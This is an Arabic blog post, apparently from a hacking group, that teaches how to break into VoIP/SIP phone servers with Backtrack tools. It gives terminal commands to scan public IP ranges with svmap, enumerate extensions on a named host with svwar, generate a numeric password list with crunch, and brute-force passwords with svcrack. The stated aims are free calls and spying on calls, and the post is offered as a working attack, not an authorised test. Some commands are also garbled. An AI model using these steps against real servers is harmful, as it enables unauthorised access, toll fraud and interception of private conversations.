الأحد، 10 أغسطس 2014
10:48 م

شرح كيفيه جلب ايبهات الاتصال بوساطه(Backtrack 5R1 )


السلام عليكم ورحمة الله وبركاته

سأشرح اليوم بحول الله طريقة الحصول على آيبيات إتصال sip في تقنية voip وكيفية الحصول على اليوزرات والباسوردات ب Backtrack 5R1 وذلك لإجراء مكالمات مجانية أو التجسس على المكالمات إلخ ...

أولا نقوم بفتح الترمينال ونكتب
اقتباس اقتباس:
root@root:~# cd /pentest/voip/sipvicious
ثم بعد ذلك سنقوم بعمل سكان على رنج آيبي لجلب بعض الآيبيات المصابة بإستخدام أداة svmap
اقتباس اقتباس:
root@root:~# /pentest/voip/sipvicious/svmap.py 190.145.50.0/24
alt


كما ترون في الصورة تم الحصول على بعض الآيبيات المصابة
أخي الكريم في حالة لم تحصل على أي آيبي مصاب في هذا الرنج يمكنك تغيير الرنج آيبي
190.145.0.0/24
196.123.74.0/16
إلى نحو ذلك
الآن إخواني سنقوم بإستخراج بعض ايوزرات أو أرقام التحويل المخزنة في PBX

سنستخدم أداة svwar

اقتباس اقتباس:
root@root:~# cd /pentest/voip/sipvicious/ ./svwar.py 190.145.50.189 -m Invite
alt

كما ترون في الصورة تم إستخراج بعض اليوزرات
ملاحضة : لمشاهدة كيف تحصل عملية إستخراج اليوزرات يمكنك أخي إضافة - vv
اقتباس اقتباس:
root@root:~# /pentest/voip/sipvicious/ ./svwar.py 190.145.50.189 -m Invite - vv
الآن سنقوم بعمل قائمة باسوردات بإستخدام أداة crunch

نقوم بفتح ترمينال أخر ونكتب

اقتباس اقتباس:
root@root:~# cd /pentest/passwords/crunch
أأخي لمشاهدة كيف تعمل الأداة يمكنك كتابة

اقتباس اقتباس:
root@root:~# /pentest/passwords/crunch# man crunch
هنا سنسقوم بعمل قائمة باسورد تتكون من أرقام من 1 إلى 999999 لأنو الحقيقة في الغالب تكون الباسوردات أرقام
قبل ذلك نقوم بعمل ملف جديد لوضع الباسوردات فيه نفتح ترمينال آخر ونكتب
ولو كان عندنا يورزرات موجودة بسكربت .. بنضعها لأنها ستفيدنا كثيرآ ...

اقتباس اقتباس:
root@root:~# cd /pentest/voip/sipvicious
ثم
اقتباس اقتباس:
root@root:~# /pentest/voip/sipvicious# *> gaza.txt
alt

الآن نقوم بعمل قائمة باسوردات بأداة crunch


اقتباس اقتباس:
root@root:~# /pentest/passwords/crunch# ./crunch 1 6 -f charset.lst numeric -o /pentest/voip/sipvicious/gaza.txt
alt



الآن بعد إنشاء قائمة الباسوردات نأتي إلى مرحلة الكراك
سنستخدم أخي الكريم أداة svrack
نكتب أخي كالآتي

اقتباس اقتباس:
root@root:~# /pentest/voip/sipvicious# svcrack -u231 -w gaza.txt 190.145.50.189
alt


كما ترون إخواني تم الحصول على الباسورد ، وليس دائما يكون اليوزر مثل الباسورد أحيان تكون الباسورد حروف ..


الحمد لله تم بنجاح altaltaltalt

تحيآتي لكم وإن شاء الله الجميع يستفيد



============

أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى

 ÃRêstø ĦąĈķễr

==============Security Palestine Team==============


0 التعليقات:

إرسال تعليق

يتم التشغيل بواسطة Blogger.